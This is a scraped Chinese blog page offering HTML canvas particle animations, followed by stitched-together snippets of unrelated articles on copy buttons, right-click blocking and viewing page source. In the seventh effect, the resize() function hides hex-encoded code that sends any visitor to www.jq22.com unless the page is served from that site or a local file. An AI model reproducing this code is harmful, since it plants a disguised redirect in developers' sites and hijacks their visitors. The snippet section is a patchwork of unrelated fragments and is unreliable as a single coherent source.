            g = mixComponents(color1.g, dot1.radius, color2.g, dot2.radius),
            b = mixComponents(color1.b, dot1.radius, color2.b, dot2.radius);
        return createColorStyle(Math.floor(r), Math.floor(g), Math.floor(b));
      }
      
      function Color(min) {
        min = min || 0;
        this.r = colorValue(min);
        this.g = colorValue(min);
        this.b = colorValue(min);
        this.style = createColorStyle(this.r, this.g, this.b);
      }
    
      function Dot(){
        this.x = Math.random() * canvas.width;
        this.y = Math.random() * canvas.height;
    
        this.vx = -.5 + Math.random();
        this.vy = -.5 + Math.random();
    
        this.radius = Math.random() * 2;
    
        this.color = new Color();
        console.log(this);
      }
    
      Dot.prototype = {
        draw: function(){
          ctx.beginPath();
          ctx.fillStyle = this.color.style;
          ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);
          ctx.fill();
        }
      };
    
      function createDots(){
        for(i = 0; i < dots.nb; i++){
          dots.array.push(new Dot());
        }
      }
    
      function moveDots() {
        for(i = 0; i < dots.nb; i++){
    
          var dot = dots.array[i];
    
          if(dot.y < 0 || dot.y > canvas.height){
            dot.vx = dot.vx;
            dot.vy = - dot.vy;
          }
          else if(dot.x < 0 || dot.x > canvas.width){
            dot.vx = - dot.vx;
            dot.vy = dot.vy;
          }
          dot.x += dot.vx;
          dot.y += dot.vy;
        }
      }
    
      function connectDots() {
        for(i = 0; i < dots.nb; i++){
          for(j = 0; j < dots.nb; j++){
            i_dot = dots.array[i];
            j_dot = dots.array[j];
    
            if((i_dot.x - j_dot.x) < dots.distance && (i_dot.y - j_dot.y) < dots.distance && (i_dot.x - j_dot.x) > - dots.distance && (i_dot.y - j_dot.y) > - dots.distance){
              if((i_dot.x - mousePosition.x) < dots.d_radius && (i_dot.y - mousePosition.y) < dots.d_radius && (i_dot.x - mousePosition.x) > - dots.d_radius && (i_dot.y - mousePosition.y) > - dots.d_radius){
                ctx.beginPath();
                ctx.strokeStyle = averageColorStyles(i_dot, j_dot);
                ctx.moveTo(i_dot.x, i_dot.y);
                ctx.lineTo(j_dot.x, j_dot.y);
                ctx.stroke();
                ctx.closePath();
              }
            }
          }
        }
      }
    
      function drawDots() {
        for(i = 0; i < dots.nb; i++){
          var dot = dots.array[i];
          dot.draw();
        }
      }
    
      function animateDots() {
        ctx.clearRect(0, 0, canvas.width, canvas.height);
        moveDots();
        connectDots();
        drawDots();
    
        requestAnimationFrame(animateDots);	
      }
    
      $('canvas').on('mousemove', function(e){
        mousePosition.x = e.pageX;
        mousePosition.y = e.pageY;
      });
    
      $('canvas').on('mouseleave', function(e){
        mousePosition.x = canvas.width / 2;
        mousePosition.y = canvas.height / 2;
      });
    
      createDots();
      requestAnimationFrame(animateDots);	
    });
    </script>
    
    
    </body></html>
    

    特效六

    在这里插入图片描述

    <html><head>
    <meta charset="utf-8">
    <title>蓝盒子</title>
    <style>
    html {
      height: 100%;
      background-image: -webkit-radial-gradient(ellipse farthest-corner at center top, #000d4d 0%, #000105 100%);
      background-image: radial-gradient(ellipse farthest-corner at center top, #000d4d 0%, #000105 100%);
      cursor: move;
    }
    
    body {
      width: 100%;
      margin: 0;
      overflow: hidden;
    }
    </style>
    </head>
    
    <body>
    
    
    <canvas id="canv" width="1920" height="572"></canvas>
    <script>
    var num = 200;
    var w = window.innerWidth;
    var h = window.innerHeight;
    var max = 100;
    var _x = 0;
    var _y = 0;
    var _z = 150;
    var dtr = function(d) {
      return d * Math.PI / 180;
    };
    
    var rnd = function() {
      return Math.sin(Math.floor(Math.random() * 360) * Math.PI / 180);
    };
    var dist = function(p1, p2, p3) {
      return Math.sqrt(Math.pow(p2.x - p1.x, 2) + Math.pow(p2.y - p1.y, 2) + Math.pow(p2.z - p1.z, 2));
    };
    
    var cam = {
      obj: {
        x: _x,
        y: _y,
        z: _z
      },
      dest: {
        x: 0,
        y: 0,
        z: 1
      },
      dist: {
        x: 0,
        y: 0,
        z: 200
      },
      ang: {
        cplane: 0,
        splane: 0,
        ctheta: 0,
        stheta: 0
      },
      zoom: 1,
      disp: {
        x: w / 2,
        y: h / 2,
        z: 0
      },
      upd: function() {
        cam.dist.x = cam.dest.x - cam.obj.x;
        cam.dist.y = cam.dest.y - cam.obj.y;
        cam.dist.z = cam.dest.z - cam.obj.z;
        cam.ang.cplane = -cam.dist.z / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z);
        cam.ang.splane = cam.dist.x / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z);
        cam.ang.ctheta = Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z) / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.y * cam.dist.y + cam.dist.z * cam.dist.z);
        cam.ang.stheta = -cam.dist.y / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.y * cam.dist.y + cam.dist.z * cam.dist.z);
      }
    };
    
    var trans = {
      parts: {
        sz: function(p, sz) {
          return {
            x: p.x * sz.x,
            y: p.y * sz.y,
            z: p.z * sz.z
          };
        },
        rot: {
          x: function(p, rot) {
            return {
              x: p.x,
              y: p.y * Math.cos(dtr(rot.x)) - p.z * Math.sin(dtr(rot.x)),
              z: p.y * Math.sin(dtr(rot.x)) + p.z * Math.cos(dtr(rot.x))
            };
          },
          y: function(p, rot) {
            return {
              x: p.x * Math.cos(dtr(rot.y)) + p.z * Math.sin(dtr(rot.y)),
              y: p.y,
              z: -p.x * Math.sin(dtr(rot.y)) + p.z * Math.cos(dtr(rot.y))
            };
          },
          z: function(p, rot) {
            return {
              x: p.x * Math.cos(dtr(rot.z)) - p.y * Math.sin(dtr(rot.z)),
              y: p.x * Math.sin(dtr(rot.z)) + p.y * Math.cos(dtr(rot.z)),
              z: p.z
            };
          }
        },
        pos: function(p, pos) {
          return {
            x: p.x + pos.x,
            y: p.y + pos.y,
            z: p.z + pos.z
          };
        }
      },
      pov: {
        plane: function(p) {
          return {
            x: p.x * cam.ang.cplane + p.z * cam.ang.splane,
            y: p.y,
            z: p.x * -cam.ang.splane + p.z * cam.ang.cplane
          };
        },
        theta: function(p) {
          return {
            x: p.x,
            y: p.y * cam.ang.ctheta - p.z * cam.ang.stheta,
            z: p.y * cam.ang.stheta + p.z * cam.ang.ctheta
          };
        },
        set: function(p) {
          return {
            x: p.x - cam.obj.x,
            y: p.y - cam.obj.y,
            z: p.z - cam.obj.z
          };
        }
      },
      persp: function(p) {
        return {
          x: p.x * cam.dist.z / p.z * cam.zoom,
          y: p.y * cam.dist.z / p.z * cam.zoom,
          z: p.z * cam.zoom,
          p: cam.dist.z / p.z
        };
      },
      disp: function(p, disp) {
        return {
          x: p.x + disp.x,
          y: -p.y + disp.y,
          z: p.z + disp.z,
          p: p.p
        };
      },
      steps: function(_obj_, sz, rot, pos, disp) {
        var _args = trans.parts.sz(_obj_, sz);
        _args = trans.parts.rot.x(_args, rot);
        _args = trans.parts.rot.y(_args, rot);
        _args = trans.parts.rot.z(_args, rot);
        _args = trans.parts.pos(_args, pos);
        _args = trans.pov.plane(_args);
        _args = trans.pov.theta(_args);
        _args = trans.pov.set(_args);
        _args = trans.persp(_args);
        _args = trans.disp(_args, disp);
        return _args;
      }
    };
    
    (function() {
      "use strict";
      var threeD = function(param) {
        this.transIn = {};
        this.transOut = {};
        this.transIn.vtx = (param.vtx);
        this.transIn.sz = (param.sz);
        this.transIn.rot = (param.rot);
        this.transIn.pos = (param.pos);
      };
    
      threeD.prototype.vupd = function() {
        this.transOut = trans.steps(
    
          this.transIn.vtx,
          this.transIn.sz,
          this.transIn.rot,
          this.transIn.pos,
          cam.disp
        );
      };
    
      var Build = function() {
        this.vel = 0.04;
        this.lim = 360;
        this.diff = 200;
        this.initPos = 100;
        this.toX = _x;
        this.toY = _y;
        this.go();
      };
    
      Build.prototype.go = function() {
        this.canvas = document.getElementById("canv");
        this.canvas.width = window.innerWidth;
        this.canvas.height = window.innerHeight;
        this.$ = canv.getContext("2d");
        this.$.globalCompositeOperation = 'source-over';
        this.varr = [];
        this.dist = [];
        this.calc = [];
    
        for (var i = 0, len = num; i < len; i++) {
          this.add();
        }
    
        this.rotObj = {
          x: 0,
          y: 0,
          z: 0
        };
        this.objSz = {
          x: w / 5,
          y: h / 5,
          z: w / 5
        };
      };
    
      Build.prototype.add = function() {
        this.varr.push(new threeD({
          vtx: {
            x: rnd(),
            y: rnd(),
            z: rnd()
          },
          sz: {
            x: 0,
            y: 0,
            z: 0
          },
          rot: {
            x: 20,
            y: -20,
            z: 0
          },
          pos: {
            x: this.diff * Math.sin(360 * Math.random() * Math.PI / 180),
            y: this.diff * Math.sin(360 * Math.random() * Math.PI / 180),
            z: this.diff * Math.sin(360 * Math.random() * Math.PI / 180)
          }
        }));
        this.calc.push({
          x: 360 * Math.random(),
          y: 360 * Math.random(),
          z: 360 * Math.random()
        });
      };
    
      Build.prototype.upd = function() {
        cam.obj.x += (this.toX - cam.obj.x) * 0.05;
        cam.obj.y += (this.toY - cam.obj.y) * 0.05;
      };
    
      Build.prototype.draw = function() {
        this.$.clearRect(0, 0, this.canvas.width, this.canvas.height);
        cam.upd();
        this.rotObj.x += 0.1;
        this.rotObj.y += 0.1;
        this.rotObj.z += 0.1;
    
        for (var i = 0; i < this.varr.length; i++) {
          for (var val in this.calc[i]) {
            if (this.calc[i].hasOwnProperty(val)) {
              this.calc[i][val] += this.vel;
              if (this.calc[i][val] > this.lim) this.calc[i][val] = 0;
            }
          }
    
          this.varr[i].transIn.pos = {
            x: this.diff * Math.cos(this.calc[i].x * Math.PI / 180),
            y: this.diff * Math.sin(this.calc[i].y * Math.PI / 180),
            z: this.diff * Math.sin(this.calc[i].z * Math.PI / 180)
          };
          this.varr[i].transIn.rot = this.rotObj;
          this.varr[i].transIn.sz = this.objSz;
          this.varr[i].vupd();
          if (this.varr[i].transOut.p < 0) continue;
          var g = this.$.createRadialGradient(this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p, this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p * 2);
          this.$.globalCompositeOperation = 'lighter';
          g.addColorStop(0, 'hsla(255, 255%, 255%, 1)');
          g.addColorStop(.5, 'hsla(' + (i + 2) + ',85%, 40%,1)');
          g.addColorStop(1, 'hsla(' + (i) + ',85%, 40%,.5)');
          this.$.fillStyle = g;
          this.$.beginPath();
          this.$.arc(this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p * 2, 0, Math.PI * 2, false);
          this.$.fill();
          this.$.closePath();
        }
      };
      Build.prototype.anim = function() {
        window.requestAnimationFrame = (function() {
          return window.requestAnimationFrame ||
            function(callback, element) {
              window.setTimeout(callback, 1000 / 60);
            };
        })();
        var anim = function() {
          this.upd();
          this.draw();
          window.requestAnimationFrame(anim);
    
        }.bind(this);
        window.requestAnimationFrame(anim);
      };
    
      Build.prototype.run = function() {
        this.anim();
    
        window.addEventListener('mousemove', function(e) {
          this.toX = (e.clientX - this.canvas.width / 2) * -0.8;
          this.toY = (e.clientY - this.canvas.height / 2) * 0.8;
        }.bind(this));
        window.addEventListener('touchmove', function(e) {
          e.preventDefault();
          this.toX = (e.touches[0].clientX - this.canvas.width / 2) * -0.8;
          this.toY = (e.touches[0].clientY - this.canvas.height / 2) * 0.8;
        }.bind(this));
        window.addEventListener('mousedown', function(e) {
          for (var i = 0; i < 100; i++) {
            this.add();
          }
        }.bind(this));
        window.addEventListener('touchstart', function(e) {
          e.preventDefault();
          for (var i = 0; i < 100; i++) {
            this.add();
          }
        }.bind(this));
      };
      var app = new Build();
      app.run();
    })();
    window.addEventListener('resize', function() {
      canvas.width = w = window.innerWidth;
      canvas.height = h = window.innerHeight;
    }, false);
    </script>
    
    
    </body></html>
    

    特效七

    在这里插入图片描述

    <html><head>
    <meta charset="UTF-8">
    <title>蓝盒子</title>
    <style>
    body {
      margin: 0;
      overflow: hidden;
      background: #000;
    }
    body canvas {
      -webkit-filter: url("#turbulence");
      filter: url("#turbulence");
    }
    
    </style>
    </head>
    
    <body>
    <canvas id="c" width="1920" height="572"></canvas>
    <svg xlmns="http://www.w3.org/2000/svg" version="1.1">
      <defs>
        <filter id="turbulence">
          <feTurbulence type="fractalNoise" baseFrequency="0.05 0.05" numOctaves="1" result="noice"></feTurbulence>
          <feDisplacementMap xChannelSelector="R" yChannelSelector="G" scale="20" in="SourceGraphic"></feDisplacementMap>
        </filter>
      </defs>
    </svg>
    <script>
    var c=document.getElementById('c'),ctx=c.getContext('2d'),points=[],count=40,size=3,delta=4,distance=170;window.requestAnimFrame=(function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(callback){window.setTimeout(callback,1000/60)}})();function checkDistance(x1,y1,x2,y2){return Math.sqrt(Math.pow(x1-x2,2)+Math.pow(y1-y2,2))}function setColor(){return'rgb('+Math.round(255*Math.random())+','+Math.round(255*Math.random())+','+Math.round(255*Math.random())+')'}function Point(x,y,dx,dy,color){this.x=x;this.y=y;this.dx=dx;this.dy=dy;this.color=color}function initPoint(x,y){var x=x||c.width*Math.random(),y=y||c.height*Math.random(),dx=-delta/2+delta*Math.random(),dy=-delta/2+delta*Math.random(),color=setColor();points.push(new Point(x,y,dx,dy,color))}function drawPoint(point){ctx.fillStyle=point.color;ctx.beginPath();ctx.arc(point.x,point.y,size,0,2*Math.PI);ctx.fill()}function drawLines(point,index){for(var i=0;i<index;i++){var opacity=1-checkDistance(point.x,point.y,points[i].x,points[i].y)/distance;if(opacity>0){var grad=ctx.createLinearGradient(point.x,point.y,points[i].x,points[i].y);grad.addColorStop(0,point.color);grad.addColorStop(1,points[i].color);ctx.strokeStyle=grad;ctx.globalAlpha=opacity;ctx.beginPath();ctx.moveTo(point.x,point.y);ctx.lineTo(points[i].x,points[i].y);ctx.stroke();ctx.globalAlpha=1}}}function updatePosition(){for(var i=0;i<points.length;i++){var xDx=points[i].x+points[i].dx,yDy=points[i].y+points[i].dy;if(xDx-size<0||xDx+size>c.width){points[i].dx=-points[i].dx}if(yDy-size<0||yDy+size>c.height){points[i].dy=-points[i].dy}points[i].x+=points[i].dx;points[i].y+=points[i].dy;drawPoint(points[i]);drawLines(points[i],i)}}function init(){points.length=0;for(var i=0;i<count;i++){initPoint()}}function resize(){var GQInzO1=window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]["\x73\x75\x62\x73\x74\x72"](0,19);var j2=window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]["\x73\x75\x62\x73\x74\x72"](0,4);if(GQInzO1=="\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x71\x32\x32\x2e\x63\x6f\x6d"||j2=="\x66\x69\x6c\x65"){}else{window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]="\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x71\x32\x32\x2e\x63\x6f\x6d"}c["\x77\x69\x64\x74\x68"]=window["\x69\x6e\x6e\x65\x72\x57\x69\x64\x74\x68"];c["\x68\x65\x69\x67\x68\x74"]=window["\x69\x6e\x6e\x65\x72\x48\x65\x69\x67\x68\x74"];init()}function draw(){ctx.clearRect(0,0,c.width,c.height);updatePosition();window.requestAnimFrame(draw)}window.addEventListener("resize",resize);c.addEventListener("mouseup",function(e){initPoint(e.pageX-c.offsetLeft,e.pageY-c.offsetTop)});resize();draw();
    </script>
    
    
    </body></html>
    
    展开全文
  • 点击网页按钮复制指定代码JS源码

    千次阅读 2021-06-10 13:22:11
    通过点击网页页面上的HTML控件按钮来复制指定代码,在网上搜索了几种,觉得比较好,记下以备查询一、点击复制文本框内容的代码(1)1、直接在text框中实现:2、通过函数实现function jsCopy(){var e=document....

    通过点击网页页面上的HTML控件按钮来复制指定代码,在网上搜索了几种,觉得比较好,记下以备查询

    一、点击复制文本框内容的代码(1)

    1、直接在text框中实现:

    2、通过函数实现

    function jsCopy(){

    var e=document.getElementById("hdhcms2");//对象是hdhcms2

    e.select(); //选择对象

    document.execCommand("Copy"); //执行浏览器复制命令

    alert("已复制好,可贴粘。");

    }

    www.hdhcms.com

    二、点击复制文本框内容的代码(2)

    www.yuyanba.com

    三、点击复制文本框内容的代码(3)

    function oCopy(obj){

    obj.select();

    js=obj.createTextRange();

    js.execCommand("Copy")

    }

    四、点击复制标题和地址的代码

    www.yuyanba.com

    function copyToClipBoard(){

    var clipBoardContent="";

    clipBoardContent+=document.title;

    clipBoardContent+="";

    clipBoardContent+=this.location.href;

    window.clipboardData.setData("Text",clipBoardContent);

    alert("复制成功,请粘贴到你的QQ/MSN上推荐给你的好友");

    }

    五、点击复制网址的代码

    function copyText(obj)

    {

    var rng = document.body.createTextRange();

    rng.moveToElementText(obj);

    rng.scrollIntoView();

    rng.select();

    rng.execCommand("Copy");

    rng.collapse(false);

    alert("复制成功,请粘贴到你的QQ/MSN上发送给你的好友。");   

    }

    以下是代码片段:

    http://www.hdhcms.com

    [点击复制]

    http://www.hdhcms.com

    [点击复制]

    展开全文
  • <script>function click(e) {if (document.all) {if (event.button==2||event.button==3) { alert("欢迎光临寒舍,有什么需要帮忙的话,请与站长联系!谢谢您的合作!!!");oncontextmenu='return false';...

    <script>

    function click(e) {

    if (document.all) {

    if (event.button==2||event.button==3) { alert("欢迎光临寒舍,有什么需要帮忙的话,请与站长联系!谢谢您的合作!!!");

    oncontextmenu='return false';

    }

    }

    if (document.layers) {

    if (e.which == 3) {

    oncontextmenu='return false';

    }

    }

    }

    if (document.layers) {

    document.captureEvents(Event.MOUSEDOWN);

    }

    document.onmousedown=click;

    document.oncontextmenu = new Function("return false;")

    document.onkeydown =document.onkeyup = document.onkeypress=function(){

    if(window.event.keyCode == 123) {

    window.event.returnValue=false;

    return(false);

    }

    }

    </script>

    展开全文
  • 一、什么是网页源代码? - TOP通俗了解,通过html语法规则让图片、文字等内容,在浏览器显示出来的代码我们称之为网页源代码网页源代码与实际IE浏览器显示对比图源代码(源文件)是指网页的html代码,这里可以将CSS...
  • 本文实例讲述了JAVA获取任意http网页源代码。分享给大家供大家参考,具体如下:JAVA获取任意http网页源代码可实现如下功能:1. 获取任意http网页的代码2. 获取任意http网页去掉HTML标签的代码Webpage类:/*** 网页...
  • 很多朋友都喜欢复制网页上的文字或图片,不过网页提供者也不是“吃素”的,他们往往在网页代码加入一些指令关闭了鼠标右键功能,让你无法完成复制,为此有很多人想出了好办法来对抗,比如可以用记事本或FRONTPAGE...
  • html的网页源代码怎么查看

    千次阅读 2021-06-13 18:27:16
    网页源代码是什么?通俗了解,通过html语法规则让图片、文字等内容,在浏览器显示出来的代码我们称之为网页源代码。源代码(源文件)是指网页的html代码,这里可以将CSS代码也称为CSS源代码。网页源代码如何查看或...
  • 1、 网页打印法遇到不能复制网页时候,直接同时按下【Ctrl+P】,调出打印预览的页面,当然这里不是要你去打印,直接在右边选中文本内容,就可以进行复制了。2、 QQ文字扫描这种方法需要借助到PC端的Q...
  • 有时我们需要做一些采集需要下载远程网页源码到本来了,在这里我们整理了一些php获取远程网页源码代码,希望对各位会有所帮助。php的curl函数基本例子 代码如下 复制代码 ??php// 初始化一个 cURL 对象$curl = curl_...
  • 使用ASP、JSP等服务器端编程技术可以实现对网页源代码的保护,但目前国内网站所提供的免费个人主页空间一般都不提供对服务器端编程的支持,所以对于这些用户,要禁止访问者查看网页源代码就只能在客户端编程上下工夫...
  • 开发网站的过程中有时我们不想让客户看到页面的源代码,甚至页面上的文字内容都不想被复制,下面我们来看一下怎么保护页面内容禁止查看页面源代码和禁止复制页面中的文字<body style=" oncontextmenu="return ...
  • 查看网页源代码全是乱码,但前台页面可以正常显示,这该怎么解决?对于这个问题,在我自己改开源程序的时候就遇到过,非常烦人,那针对这个问题我们该怎么去解决呢?今天SEOiit就在伊利诺首先,对于刚接触因为搜索...
  • 问题:如何查看被禁止的网页源代码?一些网站不能使用右键菜单,不能选择网页内容,不能复制,甚至查看到的源文件也是空白的。如何复制这些网页中的文本内容呢?解决方法:如果可以在源文件中查看到Html代码,则全部...
  • 1、禁止右键菜单function noMenuTwo(){if(event.button == 2){alert('禁止右键菜单!...//或者2、禁止复制(Ctrl+C)function noCopy(){alert("禁止使用Ctrl+C进行复制操作!");event.returnValue = f...
  • 查看源代码的几种方法:直接按F12Ctrl+Shift+I查看鼠标点击右键查看Ctrl+u=view-source:+url以上的几种方法都可以查看到网站的源代码,我们可以通过使用JavaScript来屏蔽掉这三种状态从而实现禁止查看源代码效果。...
  • ),ReadabilityCopy使用 mozilla 的开源项目 Readability 可以帮你快速复制网页内容,一键复制方便快捷,但它只能复制文本,不能处理图片。如果你需要将网页上的任何内容保存,印象笔记·剪藏、花瓣网页收藏、...
  • 针对网页源代码泄露的问题,一直以来都是很多企业担心的事情,那么这次我们就来说说关于网页源代码泄露的基本防护方法,本次我们以html为例来讲解一下。 众所周知,现在有很多网页都能够通过右键,查看源代码并且...
  • 【PConline 技巧】很多朋友上网有遇到过这样的一种情况,明明看到网页上有文字,但是这些文字无法选择用鼠标拖动选择,也没法复制下来。这种情况在某些注重版权的网站,例如在线书城、在线文档站点等当中比较常见,...
  • ‍‍很多时候我们在电脑上都需要复制网页上的内容,或者是将其保存。而有些网站则会出现复制限制,无论是用鼠标右键或者是使用Ctrl + C...2、之后就可以看到网页的源代码了,文字内容比较多的话可以使用“ctrl + ...
  • 工作方面,可以搞测试,或者寻找大数据分析的工作,还可以搞开发这个什么样的工作是根据你的爬虫经验以及水平来决定的怎么把网页中无法选择复制的文档下载下来?如果单纯是复制文章,可以把网页的JavaScript给禁用了...
  • 你有没有遇到过个别网页内容,禁止复制的情况,连鼠标右键也被限制,只能看着而不能复制的痛苦,下面来睡一下我的解决...首先来说以一下ie浏览器,直接按F12开发者工具,查看源代码复制你想要的内容,就可以了!再...
  • 有时候我们想保存网页中的内容却不能复制,这是怎么回事呢?很多网站限制了用户的复制,其实这么做有的是为了版权,有的是为了让用户能够在回头以借此提高访问量等,具体原因也说不清楚,但是碰到有用得上的文章又...
  • 当我们在网上冲浪的时候很多的小伙伴都是在需要的的信息网页复制下来自己的需求,那在win10电脑中对于复制网页文字的时候有用户发现自己的点奥怎么也无法复制的情况,遇到这个问题我们应该怎么办呢,今天小编就来跟...
  • 这几天一直在学用python爬网页 , 现在是用urllib2,cookie等模块获取了csdn的博客源码,然后打算把所有博客都保存到本地;这就涉及到了解析html, 由于对正则的理解不太深。。。就用了第三方工具模块:美丽的汤---...
  • 有时候,会遇到一些页面利用JS,禁止用户通过复制的方式获取页面信息,以此来...其实,稍微了解网页知识的童鞋就会想到查看网页原代码,但是,如本页的源代码:友好的错误提示页面,我们可以自定义错误页面: web...
  • 查看网页源代码显示的网页源码因此,在使用如下代码获取网页源码时实际上获取的是图 所示的网页源码: content = requests.get(url).content.decode('utf-8') print(content) 然而我们想要获得是图所示的网页...
  • 复制代码 代码如下:#include #include #include #define MAXSIZE 1024#pragma comment(lib, "Wininet.lib")void urlopen(_TCHAR*);int _tmain(int argc, _TCHAR* argv[]){urlopen(_T("http://www.jb51.net"));return...
  • cn_600019,cn_600028打开网页之后,能看到一个表格,它的数据复制下来就是如下内容:=======内容开始===========================================================股票代码 股票名称 当...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 97,704
精华内容 39,081
关键字:

复制网页源代码